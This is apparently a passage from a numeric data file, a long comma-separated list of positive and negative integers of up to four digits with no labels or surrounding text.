,-1630,5287,-5008,4429,-2332,3599,1795,6460,-3594,-6978,9880,-8847,1304,-6125,-2613,-1989,-1173,7835,8809,-5147,-6826,7190,5449,-7242,-241,-6479,3782,-1250,2229,-5945,-671,-5041,6664,9789,7271,1082,-305,2903,3910,-9536,1002,-5454,4621,-2943,135,-6028,7011,-5487,8156,1339,-9402,-5001,-8523,-948,6577,-4814,-3229,-2935,6329,-9571,-6825,-190,9781,-1721,-7273,-6128,3500,2754,350,5347,-6694,831,-607,-1398,7145,4232,-2632,7964,8870,3023,113,-471,-6465,-3872,6047,3479,5149,6053,-4571,-717,7596,-844,-5261,-7467,-5071,-8374,415,-5559,-8662,3019,8833,9713,8974,-9768,6682,-5847,6742,-5736,3012,3917,-4760,-8895,2755,-5594,-1010,4035,5339,-2477,-8181,2370,3126,-4417,-3926,-2369,-5876,8773,2278,-5919,-8669,4496,-996,-6883,7105,-4462,-891,-7432,4272,-9491,-4330,2010,-4329,-8104,-1499,-9232,-3736,5608,4199,3272,4116,-2199,-8871,4466,-6881,8479,8149,-6154,-2563,5113,-8370,-3889,-689,6863,-3661,4414,3982,-6889,-4455,-7484,-7370,1036,-2469,7268,-6481,-4624,3764,9788,6007,1830,4070,-247,8213,4678,-9508,-6630,-3541,-6495,5932,1035,-5452,-2801,-720,7019,443,1027,9750,3118,7106,-9696,-2125,-8791,8327,1534,3926,-6394,-8044,-8283,-1377,7018,-6801,-8028,-4795,838,-7880,-9919,-9604,-3748,7790,-8447,-8590,6504,5640,-9622,1650,-432,-9983,-8759,-978,-8579,-6230,-4338,-2059,2128,1105,-3495,5486,-1850,-2114,3962,116,-6932,-2287,2619,1707,5688,-9625,-4318,5978,-5233,-9836,8733,-8692,5569,-2852,2902,7707,3028,-4288,-3927,354,-6311,-1000,9283,2246,-934,-487,9258,-5584,-7786,-174,9058,-6365,-7345,-4591,6266,1617,3105,2650,-3172,591,890,-1280,-491,-1582,2095,8433,-8320,3797,2351,-8526,7706,7029,-901,5529,1450,5032,760,-7566,2858,-449,4,1297,6250,-6815,-1556,5136,6464,5567,-8822,5896,7844,1465,3698,70,3614,-9512,9802,-4674,-2053,-5875,9835,-4217,1440,5484,-4108,3693,5072,-3135,-7961,963,-7764,1431,-5801,1836,2172,2640,-3627,3547,9010,2762,-313,7889,-2622,5128,2175,-8331,-555,-7862,9366,5980,-9062,-3477,-1007,6667,8452,-793,317,6982,-1136,1550,3011,-8425,-8634,-9605,9462,-5263,4081,7272,6485,-4621,-9754,3525,3030,-3904,-2117,-770,4688,-9547,-3004,-1680,-7415,-9314,8400,-5898,-7598,-23,-6652,-2387,-8020,2969,2774,4077,-7858,-4563,3122,6921,-4542,2252,-7323,3514,3515,8784,9053,-2883,-3766,1413,6260,6902,4622,-6086,-1142,7464,2801,7389,-7228,-8307,8867,-1232,8225,-9509,-9408,-4403,-3996,8416,5705,-3077,2159,-3145,-6682,8495,-9986,2391,-5630,2054,-3733,4493,-5300,3822,8973,4298,4445,8999,-5249,2759,8329,-8049,5641,-2049,-9406,9771,-8189,9844,-7700,-7821,3997,-6239,5897,-8116,-6798,9326,-7558,-2148,-9661,2203,9166,5170,-9112,-7955,7999,9804,-2726,2841,4724,7659,9112,-3186,-7294,2581,-6487,-5732,5314,1319,7566,6169,-7455,2330,-4089,3400,1252,9881,7924,-2460,5734,-3702,1951,-2772,3003,8819,-3930,5052,7770,4916,6725,-1058,-1326,3187,-478,460,205,3459,2093,9243,-2178,-2768,-4437,-5465,-638,535,-5928,-2985,1030,-5349,-1318,4620,3464,-188,-2253,7925,-8289,688,6452,-5384,-1191,4362,-5695,-1126,-5232,-9118,4701,1173,2756,-8550,7950,-6880,-4889,-138,8091,1598,-6326,-7516,9660,-4859,-3085,-1177,1717,4991,-3949,5426,-1810,2745,-7025,-747,6544,3884,8578,-3168,1406,8918,3384,-6054,-3523,-4150,4153,-159,1279,5168,5938,9433,-4147,4354,3988,6529,4095,145,3800,-4256,-2104,7038,598,262,-3693,-3117,-3813,-8264,-9991,-3102,-8412,6491,-8877,7171,4696,4751,7346,-9819,8872,2866,-5456,1155,854,-5714,3407,2062,-7034,-5444,3976,24,-9248,4089,9526,1334,-9080,584,-7653,-4706,-4564,-813,-4126,9350,-9025,-4470,4465,8557,6806,-5733,-2624,-6692,-775,5870,4192,-7693,-6674,3739,-1204,774,-1639,612,572,-3762,5792,-1657,4980,-3643,2168,-3561,-2607,2833,5319,6417,4379,-1694,5046,-5693,8827,2918,3178,-179,5709,4034,156,6304,-7908,1317,-1196,-4925,2744,-1384,-7966,3973,1871,226,-2823,6639,-3226,-1446,-2520,-3147,1945,5668,1940,-7028,7074,-6205,4640,-2169,3954,-5351,-2337,-5858,-6577,9901,-9323,5464,164,-753,-1434,8926,8943,6389,8457,-6788,-5421,8160,-634,-6190,-9890,-8869,4165,-2889,-572,-2808,-1836,-22,-4384,-1728,5544,8449,9509,-5710,-2257,-938,4736,-9551,629,-9524,7065,7222,1848,2772,-1111,-2743,-6543,-7743,9988,9893,1808,-1254,6689,9093,-2838,-3491,-4048,-8679,1861,9614,-8056,-4306,-3682,8614,-935,-8643,-177,1385,2613,6119,9210,-9230,-9129,-2909,6622,-4589,-8301,1432,-4818,-6458,-9160,-8313,-6122,8455,6453,6670,-3180,-3796,-5547,-5105,3451,-1145,9115,1542,793,-1048,1411,-6266,-1535,8383,-5379,-1798,8547,-781,-2556,5735,-9593,9989,-893,-9550,3978,5174,9530,-9676,6772,8179,8167,-599,4912,7577,2541,-8246,-5491,-195,-8037,-9529,7802,-8777,31,6017,3189,-7907,5573,-1035,-5778,6693,2189,5160,-1856,6106,-6486,-4655,9148,-8688,-2794,2086,-7606,-4377,-960,-4389,-175,-6693,-1614,5089,-6553,-2521,3779,-1626,1172,-2187,-9752,-243,4831,-7498,-4689,2528,9850,-9361,6175,426,5963,-7407,-6658,-942,3891,-8137,-3680,-9011,208,-1568,-3308,5851,7637,-5776,9347,2775,-361,2185,-6497,-3017,-8284,-4005,-4850,2905,5179,8106,6335,-1602,-890,7160,1939,-6836,7690,-332,-7230,-4508,-8219,9089,2409,9695,-8995,4819,2261,-6414,-4518,-9686,-8601,1630,-4211,-4810,-2031,-2419,9858,9100,-8588,6761,832,165,2445,2924,5682,9774,7461,9369,7935,4144,5359,6802,-908,-2478,473,9450,-1688,-2096,5126,5701,-1732,-6295,9275,500,-9576,9947,4737,9605,-4263,5162,9853,-8700,-2214,-4524,-8121,-7569,4750,-278,-6421,-2453,9726,-9226,1599,-8853,-8578,1256,-255,-871,-5540,-6996,-1157,-2273,6368,6105,2948,2535,1047,-6764,222,-1633,-5734,-7196,-5200,9298,5417,-3863,9277,-7840,-3006,-4443,-4302,-8890,6362,-260,-6524,-281,421,-9717,-7645,7953,7198,-4641,1541,7359,2990,-2366,1290,2182,-2491,2380,-5660,-479,9877,-4012,8654,3356,5353,-4984,7618,9859,2778,-4074,-7479,-2313,7696,-7507,3504,2882,-7795,-7546,9604,6499,5850,-3906,-3241,-8695,-642,8987,7033,5916,6777,-4680,1498,-2502,3052,1783,-8652,-2288,1271,8670,-945,6770,-3045,-4272,-3264,-5382,-9181,-581,8062,-8232,7267,-1945,7419,1258,3301,-2094,-8686,-9247,2458,-6192,7176,3329,6346,-8151,-9979,1747,9066,-6638,-8574,-4078,-6375,2097,5286,1198,-1914,-3205,8001,3081,-6232,-3540,-1831,-9185,7758,-2275,-6287,2057,4078,-3259,-1588,-6802,3863,972,-3811,-6155,-9940,8218,9889,7569,-9228,801,-3292,-1595,-2352,7799,8288,-7123,2559,-9266,3158,-5493,4717,6950,9208,6503,4906,-3217,6278,4139,-4298,-9120,524,-3947,5715,9665,-4754,3055,-8352,-6395,1353,-7227,1286,2068,3530,-1364,-7703,5154,3713,-4159,2876,-6373,-795,7907,-6198,-464,-6547,-5896,-2737,-9903,7946,9531,7881,-3307,2608,8893,-1785,536,9972,3811,-1238,2336,-7963,-957,-5328,-469,5303,7843,5080,1653,3924,-9154,9192,-5439,-5964,-8864,5118,-9522,926,-6462,8782,9910,-539,-3065,639,-4457,-7405,8108,-2660,2105,980,5138,-2696,-9132,-5404,7832,-6271,4658,9338,1935,-6548,-2010,-3276,-582,1654,-9375,6845,7564,-8216,8012,3004,7329,-2289,-4727,1901,183,-6334,1677,-5561,-800,243,-3497,5292,-7561,-141,5480,8803,4109,1091,-6210,-3805,8267,1751,6032,-8684,3555,8629,8588,8777,-5282,7959,-2728,-6829,3751,1264,8360,6051,8889,-4878,7921,8633,-6852,-4694,9768,2078,-2367,3778,-2456,1006,-7875,424,4645,9486,6638,-82,4402,1249,-7855,-9455,2916,3966,5613,-2674,7931,1028,8376,-4909,-8570,-9960,-9400,180,-3705,-7996,-6545,9016,845,-8962,-5668,6240,-8266,-7942,-4556,352,-4127,-1022,-9486,-8470,7712,1614,564,-7613,-8143,-9693,-823,5636,-8339,-4707,4005,-4787,-9698,-899,4726,-109,-2281,9445,-552,1926,-6760,2251,-9261,-4006,4382,-8878,-9726,8687,-8595,-8624,8920,-6483,-7496,-5698,8923,4858,-2870,-8427,-2008,-1695,6142,8551,3920,-6746,552,7629,8131,-9432,-3573,-9405,-3821,-6048,8237,701,7239,6322,8401,-5426,-4155,1153,-5058,6727,7911,7806,-5341,-495,-9358,6434,1552,7998,-7976,7945,5477,5804,7744,-196,-7047,-6051,-6081,9331,-7534,4488,-9721,-4050,6909,-9474,-677,-1696,-7515,7482,384,-226,-8536,2885,8295,-7758,3102,6317,-417,-4618,-4549,-3437,-7470,-9672,-3964,6298,-7266,-36,8497,4040,-5025,4710,8620,-6057,-7453,-1077,448,8787,8549,-1864,-6060,6385,2910,1849,1613,-2959,6592,6617,8235,6967,6729,898,-8629,-3485,5617,700,881,-7898,-200,4897,7098,5888,3198,7037,7100,7210,-3738,-3136,-5429,-6647,-3756,-1572,3592,3418,7860,-8524,2622,6108,2436,8181,308,982,7735,7506,3044,-4658,-6954,-4914,2314,7223,1874,-5889,7985,3659,-308,6056,-5035,4577,9073,120,4832,-8403,-8039,-7734,3957,-2462,-531,4799,-4747,-1761,7752,-6697,9101,8585,-4906,-1147,2831,-9334,4809,-204,-673,8666,1563,-9617,-5320,-6701,7025,7287,9316,1776,-2414,-3546,-9030,-122,734,-7519,-7280,3219,-8019,-8245,-8455,8512,4816,6701,5121,9759,-9597,3410,8722,9125,3855,-1198,4759,2274,-1272,-2947,2886,-5005,-605,-8315,-827,9705,1472,2771,-9671,-7325,-721,5597,3813,7185,7231,4128,8676,1193,-7461,-7059,4923,-2390,5366,91,6466,-2666,6390,9499,1904,1135,261,7619,4218,-4379,8567,9415,9786,-686,-9087,2705,-9105,5593,-1510,3461,4278,5381,-4171,-113,-733,-684,2794,-8545,1329,-155,465,-9966,-7369,-3115,7704,163,-3011,-8718,8975,9796,-7011,2108,2529,2497,3094,4208,8919,-9473,3685,-7714,7837,2420,-6753,7278,8197,-2233,-8644,9389,8760,9199,-4533,5848,-6890,-2017,3089,8753,-8305,5009,-2591,3141,1529,-7732,-6795,6757,4787,9862,6066,1609,-7486,-79,-2021,5406,5736,4857,-1788,-5833,5631,9646,-7848,6564,1262,-9198,9498,8323,-5948,-7980,-6298,-4613,-8415,3902,-6085,-5762,-1865,-5507,-629,1185,-8489,9111,4552,-6870,-7667,9246,-2899,-6324,3394,-1693,7102,-2804,2431,-6018,-3040,1838,-6275,7250,4467,-1172,-3402,-2639,9186,-5956,9942,-1056,920,4499,4722,5145,6374,965,-6754,-5954,-7159,-8792,-592,9742,3226,7112,9886,-791,-6891,-1558,-8666,-1221,-1569,9763,5797,-3095,-4465,-2492,-3933,2167,-5017,3317,2000,-3240,7046,7380,-7529,-5461,9675,7216,6497,-7090,-4762,-7817,-1185,-6989,5322,-2078,-6534,4946,4539,-3524,-1407,-5771,3454,-498,6958,9668,-7274,5827,8365,227,1250,-7215,-7192,-6662,-8873,-5675,3682,5839,4889,-979,-6038,-4440,-2204,-8459,-7859,-8225,-65,-6384,2583,-4800,7809,7086,-649,-7769,3006,7825,4861,-7513,2243,-1124,-2824,-7050,9190,-370,4972,-3707,4849,4062,4566,-6167,-5830,813,3894,-8803,-1201,17,9294,-5074,-1619,3049,-5654,7175,337,4768,-3243,7362,7795,4065,-5667,-7974,5794,1921,-2962,4224,-4722,-1292,-5181,-4783,-687,6314,-9670,-6445,-4628,-7296,-9775,-6653,-4289,-5664,-8618,7513,-8303,8903,-7959,6226,7761,-5153,-8689,4214,8726,4433,-7335,-8520,-4824,-5345,-4213,1973,-1206,-1884,-7377,-9291,6411,-2249,-3980,-378,-2797,-1792,1326,-7940,7714,-1208,-2310,-7884,-7587,-7139,7118,-5907,9891,-9626,-5565,1513,9109,-1552,-3374,-5237,4210,-7869,-5863,-3020,-7326,-955,6787,-4331,9590,2976,-7505,-8327,6823,4542,-7735,1439,-4945,-5099,1019,-6360,8339,5730,9633,-4663,-4463,8072,-2151,-9869,-8293,-1079,-2918,8900,-52,8589,-8435,-3512,8561,3185,-7125,-4340,-5939,9778,4854,644,6980,1204,-4324,900,-3221,5475,-1310,4982,-6655,8699,-8077,7249,-9382,2957,-9326,-6737,-3568,-8997,3192,-2681,-8393,-9449,1336,-5794,-6913,5307,7194,-7975,3315,5132,9697,755,-596,3159,5436,-2942,7082,7615,-8243,353,9425,-9748,-8999,-3998,6738,1547,1356,3585,1141,-8726,-7421,8605,204,1281,4299,6610,-201,1167,-8282,-409,115,8697,5939,3267,-6338,7613,-1486,7238,-6105,-2963,-9514,3903,1753,6299,344,6361,6976,5060,-6665,7531,-2792,7279,6905,-6869,-7306,-9700,-4547,-9538,-8186,4827,6233,-917,4637,-9841,-688,5762,-341,3475,4105,-1701,-7107,9174,3567,-1739,-8496,-7200,-8178,6857,-2371,6375,-4962,-2320,-4429,-217,-4176,-5536,-6616,9797,-4385,-5102,9340,-3965,3967,-5682,-8351,6425,4888,-3581,2549,8964,6640,4956,-8131,9756,-6403,-1684,3753,-9893,-6639,-2080,-1274,-2136,5925,6443,288,4559,-2658,7114,1966,3629,-2323,-6800,-600,1543,4556,1125,-6415,-1356,880,2060,9065,-2507,-5603,-2916,-1636,-3204,-8696,-6300,3825,6121,8043,326,-2098,-1080,7726,-1957,2463,1866,-9237,8595,-4174,-2071,96,-6206,3406,5967,-5361,-3201,8842,-534,-1107,9336,9230,-8093,9813,-538,-3885,-8217,5871,-5075,2116,-1306,7220,-8569,7035,-9751,-418,-9586,7149,-937,1176,5520,5114,-3399,397,8894,9846,5583,-5159,4936,-156,-3321,-1709,-744,512,-7649,7013,8598,-4949,-5692,-366,-3208,1424,4396,2576,-5742,5462,3351,5832,-5534,-7949,-7361,-4490,-2891,-354,4514,-606,-5842,-6724,-5703,2758,-7134,2053,1525,-1402,-9371,9971,9949,-1771,-2826,9839,30,-6289,932,-3532,1434,-6386,1670,8472,-867,6930,6122,2234,8936,-8218,-7724,3935,-1121,6811,6709,-1073,185,-7310,1231,-279,-5520,-1053,6552,-3191,-3851,2716,1077,-6550,5248,-5767,1310,-3071,-6178,6430,9773,-3754,3864,7658,-6597,-16,-5241,9491,-1763,9641,8616,9254,-2923,3473,-4094,5552,-9640,4381,-5873,5542,5629,613,9625,6546,-4691,-1308,9874,-8388,-604,-5369,5302,-3361,-3008,-5380,1697,3327,8865,-9658,6345,-262,1682,-8040,-6202,-4796,4798,-4893,2430,4945,3477,-5874,3869,-7241,-8474,8434,9140,6475,-371,-3690,3181,2470,9657,-4989,-3213,-1135,-1730,7527,-4956,-1987,-4896,-7932,-2047,-3405,-406,4262,9037,4161,2401,5590,-1753,-4756,-3476,-4840,6343,-8800,-8244,3506,4632,4743,-2085,-6014,-5311,9167,3280,-3068,2143,1368,9360,1110,1713,7727,9151,2610,2333,-5785,-3741,-6634,-5176,2695,-7965,4408,4828,7120,-7210,-1789,342,-4721,7499,-9523,-1050,-1787,290,-5132,-2900,2793,48,9292,5992,2407,5643,-4584,-9630,-5797,-9601,-5334,51,8351,7135,-9823,0,8879,3191,5622,-4656,-8583,-1887,-2179,9046,718,-1456,-2058,-2776,-9384,-2842,5266,-1797,-3673,8952,-8488,1289,2898,5522,7667,6306,-6043,-1635,-7046,3615,1737,-104,8858,-3143,-3770,3378,9663,1589,-8082,-4861,8631,2848,-8463,6210,-7622,-9136,-7805,-2875,5581,-5912,2836,-4773,-6136,1734,-4794,-1575,-6442,1556,-2092,9600,3879,-778,-2174,-3807,2485,5176,8569,5369,2365,-8081,-7609,-4337,-5060,8279,-6327,-8876,633,-7565,1124,3898,5391,-8366,8309,-2376,2466,-4740,1575,5059,2316,8499,-8075,-9822,-3861,8389,1183,-4593,-9803,7784,1226,3294,114,7224,3403,-9703,7553,-992,5295,7256,-7930,1876,-4446,9870,5708,4057,-7387,7732,-5560,9200,-2454,-1395,-3864,-6792,2381,6919,-7287,-4546,858,1305,-1304,-9831,-9549,4961,5955,-9916,-5066,-8935,-4370,2374,-7145,7680,2464,-7069,6237,-5558,2150,7518,-3174,-2695,-2079,2867,8941,-7582,7948,4489,-7819,8675,6284,-4167,2700,6721,7458,1372,1497,4720,-2251,6038,8813,-5741,3335,-9225,8371,7512,3358,6760,-1367,-3773,-17,-7298,-2931,-7269,6965,7451,2917,2698,-9063,-9111,9019,1417,-4291,1403,891,-6132,8039,-2542,5654,-6507,8968,5692,-2457,6386,9834,-5068,9457,8710,4835,-9868,2169,-6625,-2235,-4095,-656,3005,8912,1979,9937,-4992,-5327,314,5526,-8376,5859,4981,4788,-5110,-7605,348,-1117,2780,3799,-1328,-335,4436,4309,1928,7988,4021,7197,-833,172,-9620,-3373,-8362,-3300,-1428,-5100,2472,2318,4022,-9740,6866,-8778,1454,5497,-4987,1943,-485,-3291,7014,-2276,3560,7402,3015,-1365,3941,5238,2260,7136,-3758,7882,3401,2196,-4350,-6419,-6270,2415,8381,-3232,4154,5271,-2753,1080,-1611,8985,-355,8818,927,-2402,-2411,6862,-8851,-2778,8560,1246,-6818,9252,1527,-3752,-6351,8655,322,8282,-5453,-7923,-4973,2152,7307,1180,-5451,-7591,8925,1897,2262,2084,-413,-1551,-7593,8864,-1800,-858,5318,-312,8185,-7254,-5063,8269,8258,-5350,-5004,-3368,-9085,615,-1985,-2911,6804,-2360,-9324,-6019,918,65,-95,-5597,6756,-9192,-3755,111,3013,-7839,5451,6705,8386,-5287,3220,8622,-8017,-8119,-7545,-7920,-1724,-6733,5416,-750,4752,5447,-9501,4679,5312,-3566,2357,3922,-5608,-353,-2205,5434,9041,6185,-8617,2982,4928,6686,-4269,5891,-5752,-8910,-4305,1767,2970,-9018,-7979,-9602,-5763,-4511,-9123,-1424,-5053,-1618,-4998,2197,2009,4413,-3894,302,-926,8426,-4715,3421,-8971,7141,9149,12,3467,7958,3213,-9982,-452,7477,9915,-3500,6025,-9577,1793,7403,-3943,9559,6530,-3053,-2699,7365,-9776,1000,-9769,-5851,-5643,-9360,-5780,-4774,8652,-4315,5157,-6199,-339,4777,5620,-2690,2225,-30,-8755,9638,-3852,-8498,-7005,-4450,7632,-7801,-7422,2522,955,-5472,4708,-5460,-4752,-1714,-887,-9100,3,-3588,-2617,-1518,6683,-7586,-4113,-7182,-8746,-7737,9070,4174,-291,8682,-4348,-5628,-7813,-7807,-132,-4675,3871,6447,-835,1034,-7101,-8378,-1606,-7076,6539,6990,-940,-2295,-9556,-4451,-4595,-1376,-2152,7124,4483,-564,-9305,-2579,230,7612,6408,9569,2632,-7251,5203,-701,-1981,-3954,-206,5268,5212,4748,-2025,-9376,5043,229,7503,-4310,2574,-6991,3522,4217,9129,6502,-5522,3318,7746,-7327,7495,5467,-2384,-3897,9932,-9652,-7950,6827,-2066,-1336,1815,3203,-8371,9968,4753,-237,3772,-3385,-3067,5065,1332,3730,-4753,3395,-7494,-9614,-8929,-6203,-9205,-1522,4209,8744,-3569,6423,-9094,-9895,-9175,-356,-2006,-7675,6378,5316,-4726,8184,7381,-3452,-5422,-6226,-3336,-8547,3775,2291,-4634,8648,-2077,-2905,-7526,4111,5638,192,1015,9181,-338,-4936,-6984,-7915,-2725,6696,1842,3701,789,3368,6331,-840,2479,-1299,-8863,-3171,-8772,6267,8881,-2854,-1052,-1065,-8397,-9955,-9344,-6131,-2610,-8774,-4950,-5059,-5029,-8252,-292,-4273,7334,-2701,9607,3597,1989,-3935,-4637,-2037,-1870,2805,-5212,9712,957,2802,447,-6305,4893,2270,1726,-748,8801,-4552,-6457,-9591,5843,-1044,-4160,-3372,8747,9956,4412,7734,7393,4684,-5330,-5317,-8515,8270,2087,-99,-8551,-8495,-5119,1893,-6516,7870,6698,7779,-8197,4978,3608,-5890,2267,1953,8023,-553,-9784,6828,782,6585,8301,-5417,-6331,-9811,-5157,7412,-9103,-5930,921,3746,-5209,-7444,-2856,-8114,8944,-2685,-1926,5893,7700,7900,-4990,4997,7873,3714,-422,-7108,637,-3775,-3270,-3268,-3414,593,-4255,8257,-470,7576,-5187,-794,7573,2421,5742,472,5092,6236,-9873,-2964,-6434,-8434,-8934,399,-123,3839,2332,4891,-2399,6471,-6315,-86,-571,-3662,2181,9284,7379,5607,-1438,9376,3276,246,7016,-7483,1967,7828,-3078,323,6255,9708,8769,9588,8950,-9351,-8038,5563,-9303,-4124,3559,1616,9301,9045,3996,4258,-5663,-6963,-8842,-6117,-4587,-1803,3974,-6571,362,7002,-7037,-5837,-9463,-4590,3409,5474,-5887,-6702,4347,1994,705,-7551,45,-9970,8391,8806,-7308,-1543,-4010,-6847,-8138,5252,-5399,3789,-860,9357,-6744,-7439,6918,-9246,-3972,8022,1911,125,4401,8158,-3272,-7918,5733,-3072,6419,6396,9131,-4555,-8089,-3134,7341,-574,3201,2080,-2436,6749,2237,4315,7132,5831,9150,-5192,-1548,-8317,5224,6102,4739,5130,3240,6432,-900,-9462,9279,-9917,2450,6006,1551,3389,883,4002,4487,-7833,3564,7967,-4499,-7397,144,4423,5928,7693,6057,2484,-7860,3642,4119,6780,-2994,-421,-5223,-9354,7030,-6152,5559,9823,1569,282,-5658,4605,9406,4604,-1974,3031,-5436,-3647,-7235,-2324,8198,9727,-8615,-4055,-8821,-2643,4660,-6426,3371,-3987,-4349,7284,-7282,9339,-5374,9857,6595,201,-7615,-5738,8619,491,6148,7722,6996,-9292,-4205,-392,1638,3645,-8280,8584,7363,-8567,-8212,7398,1637,-5297,3313,-9418,-2820,5034,-2381,-1190,-5929,6428,-2844,6826,-3323,-4514,3325,-7458,6151,4106,-5367,-1523,-2103,-1890,-2112,-8086,-5716,5081,-6050,-8381,-6485,-7741,-1252,464,-502,3989,-2623,4173,6882,-1991,-349,6520,-9178,478,5487,-5524,-8706,4996,3933,3715,-3767,-3280,8370,-4371,5949,-5860,9081,-517,7901,-1537,-1555,7462,-5051,5723,1474,5229,2008,2551,-9632,7987,8002,-6611,-3113,1377,6545,-2386,-3446,-9446,-9809,3573,-4241,1116,-1960,-476,1991,1514,684,-9685,7902,8615,-726,-8671,-7440,9402,4471,-6759,-9294,-4169,3381,-9165,-7883,-7543,7803,9197,-765,-4772,-1072,3643,406,871,-5731,2561,-8825,318,-4413,-6659,3980,8855,-2670,-4215,8783,9323,7557,8330,-630,-6561,7212,-6573,7523,-5279,-2514,3992,8084,-2598,4370,-3089,5181,6220,3828,-6968,9602,-2038,545,5783,-9707,-9251,3934,4284,3468,-6902,9685,-2669,2403,-7223,4194,-757,-7916,8814,3420,-5900,-8947,-8986,9077,5606,8357,4033,-4601,-9328,8571,1428,6337,-3776,-3066,6459,-7611,1824,-8389,-7677,5206,7793,-9414,5200,-8057,321,1349,-1915,6315,815,8701,3053,2696,945,1029,-9492,-8392,-318,5442,444,8494,-7761,2880,-6590,-9898,9992,2826,7669,4444,-5047,988,9783,9300,5512,1537,-2741,-9649,-7343,-4280,2709,-1269,-7973,8482,-2910,152,9224,-2167,1959,-4952,-6146,-1023,592,-352,-7027,9255,3695,251,2592,-9790,9409,-8959,-5651,-6273,-8195,4425,-1663,-3737,-2339,-1913,390,3736,7058,-7048,3245,343,-9750,4676,3108,-2828,494,8586,7814,-7806,534,-1491,-153,5771,-9350,-7117,-9058,2811,4318,-1396,-8896,-3224,976,-5802,-199,-2358,8041,-4972,1560,6015,1500,-4575,-8527,8478,3710,-8675,-8837,-5403,3115,5344,-1,3145,-9005,7893,7624,-2461,-7852,-2544,-8646,-3461,825,-4284,7056,-8008,-5871,2864,-9034,-3416,9348,-8068,6170,7996,4229,-2939,5836,5754,-706,-5735,-2781,-8491,-3924,-5197,7865,7650,1307,1546,1273,8579,-3443,-8449,-1617,6526,6758,3486,-6500,4892,-4328,9216,5146,-2727,1508,-8987,6011,7163,-9949,-7882,-7362,182,-5344,1128,-3090,-4230,3596,-6033,-8913,2253,4366,-5911,-7275,2248,3398,-6748,2344,-2316,5256,-8564,7138,9654,3441,-838,-4339,427,5700,9426,-9209,-1857,-2754,1746,6363,7974,5966,-96,-991,5604,-1944,-8136,-4322,-5189,-5313,-2984,8020,8573,128,1706,-3537,-3326,3472,8224,-3856,-1019,-3603,-6189,8625,-3784,7679,6239,7396,9134,-4801,-2795,9560,-2333,-6755,9543,8541,9873,7420,-4079,-4143,1391,-3138,2904,9154,6812,-3012,-8585,-4236,-8852,9903,9898,1278,-1573,6480,11,-734,5010,2499,5940,4947,4458,-4428,1672,-2297,-8385,-1273,1929,-8912,7702,-1629,385,1244,2573,4304,-1105,-4032,2726,1922,4179,429,2870,3298,-6700,-1932,9597,4942,-7105,-6988,-3681,2936,1041,-3545,8313,-4418,8118,-6559,8250,6838,3940,-3576,-7376,8146,-5355,-3617,7476,2102,378,7003,9677,8650,5905,3846,-5114,9229,-7189,-7830,-6074,-6124,-7957,1509,7177,-1921,931,7745,1175,-4755,-3314,7535,2795,-5526,4424,2752,-7779,2077,-4879,1886,-8161,-7360,-4608,-3463,-1174,5857,-5766,9122,7604,-1187,-5336,-3817,-8258,-8653,-2917,4265,1120,-263,2668,-8642,-7020,-7220,1370,3212,-2141,-6280,1,6177,4507,4847,-6796,-1589,-4734,1031,4438,-345,-5563,-3013,9808,-2265,-5037,-2217,-9910,-3853,-3921,-7083,-7127,8234,9603,5346,-678,8692,3230,1937,8517,-8983,-3386,-7740,1955,3672,-1013,5759,3061,-5972,6036,3336,-2234,-3284,628,9529,7254,4939,9687,2521,7507,9472,5933,2688,1146,-7531,-6892,-2340,5349,102,-303,-5449,5985,-7633,-3022,-9606,-951,-3397,-1585,8308,3334,7849,-2640,-2869,6673,4398,-5678,5601,-7396,-1295,6998,2616,3561,-5371,-29,212,1285,1152,-6410,8909,673,4825,-8509,1856,2483,1306,9629,8915,9470,-2144,9248,-7958,1944,4685,3234,-3614,8860,-3330,8714,-4017,4212,-2277,-1690,-8600,1094,6367,-1429,-4617,-7856,356,6154,8453,-9678,-67,-9241,-8762,2743,6988,4094,-4157,-1503,-1492,6481,2992,3824,1205,3851,-116,-7045,-8741,-4165,-3967,-1225,-9199,7631,2254,-3510,6603,-1860,-8886,8018,8336,-968,6605,8474,8251,4122,6963,8617,-9370,-9860,3311,-4334,-21,1387,-43,9866,-8417,5454,6407,6864,2645,-2321,-4392,-446,3901,4576,-4480,-2218,1126,-1867,6136,-2270,7315,-1534,-1115,-8810,7584,6519,3774,3760,1823,725,7448,-3780,1142,-2126,7327,-4407,4015,-3311,3337,5178,-4459,-5508,-383,-2992,-2237,-8984,1762,-4077,-6532,1712,-440,-1672,-4623,-350,-1574,-5160,2718,2448,4125,1558,3377,-7451,-2904,8812,-1940,1907,-5985,560,-9929,1043,1864,6754,-646,-8102,-1467,3545,-494,-5856,-7827,7638,7234,3232,3300,-2760,-4312,-786,4463,2005,-6392,-5177,-1478,-369,6201,-1245,-8985,6778,-6437,-4364,-854,-3044,7972,3557,-2645,3647,3456,-8900,8766,-9594,-6306,-2455,3921,5262,9097,4600,3447,-7787,-6286,-2318,9550,7134,9679,-5211,-4977,8522,253,-7794,3047,6979,8804,-9310,1675,-1036,-1054,8034,5555,8751,7418,-8016,6938,3225,39,-6832,3735,6957,-5866,-7146,7447,5382,-1371,-6494,9883,9182,-641,-6002,-5246,-1999,8114,751,9589,-3826,6750,9126,-1152,-2866,8316,3182,7050,-1791,9312,1647,9620,-3664,2618,-267,3624,-692,4348,743,2553,5635,4538,-8832,-9392,-2029,-9664,-4360,-8476,3493,-7868,8093,9795,-9699,9059,-6789,-8203,8566,-6925,-134,-8333,4511,-2549,7670,-4757,-4369,-7710,-6166,5155,-6073,4592,9351,5865,-5952,3721,-7871,-8505,9521,5538,-151,-2693,-6452,-9673,-9203,2807,1843,-1370,-1529,847,-3605,-4408,2361,-8053,-7429,-8336,-3389,3833,-4320,7657,-6786,-8699,-7000,-4114,-6214,487,-9760,5390,8723,8491,-4766,-3844,-1242,9492,-2397,-6793,-5274,-665,1857,5261,4460,-6544,8856,-9083,8626,-9381,-1901,3129,3680,-1431,8265,-4558,-3823,-1021,-4852,-3285,-1876,-6982,-9915,-9311,4336,9840,78,-283,-2652,7318,-699,6234,-4264,9720,-2765,1906,2647,2106,-5306,-8312,-2443,-4576,9420,4920,-8324,-6715,9000,-9283,3067,-6241,-3406,9218,-1042,-2938,9421,9514,9716,-4961,1412,-6348,9940,-8691,4342,6783,4459,-2183,-7993,-8176,3374,-6990,-9829,3466,6118,8021,3837,2550,-6922,-5293,7293,-8446,6397,-1966,7189,6230,-2483,4501,281,-400,7158,9581,-3121,4385,6560,7683,-2458,5826,7689,-7489,-2290,6116,7377,5441,-7477,3885,-8430,1877,-8543,6483,9096,237,1727,-25,-6999,7275,479,8016,-7383,-6742,-5385,8333,-9945,-3456,-2063,5786,1050,905,-6920,8530,2174,-251,-8529,1468,6669,-5933,-9250,8939,2389,2648,-4223,-3968,-7554,3895,-426,8506,-8562,5764,2704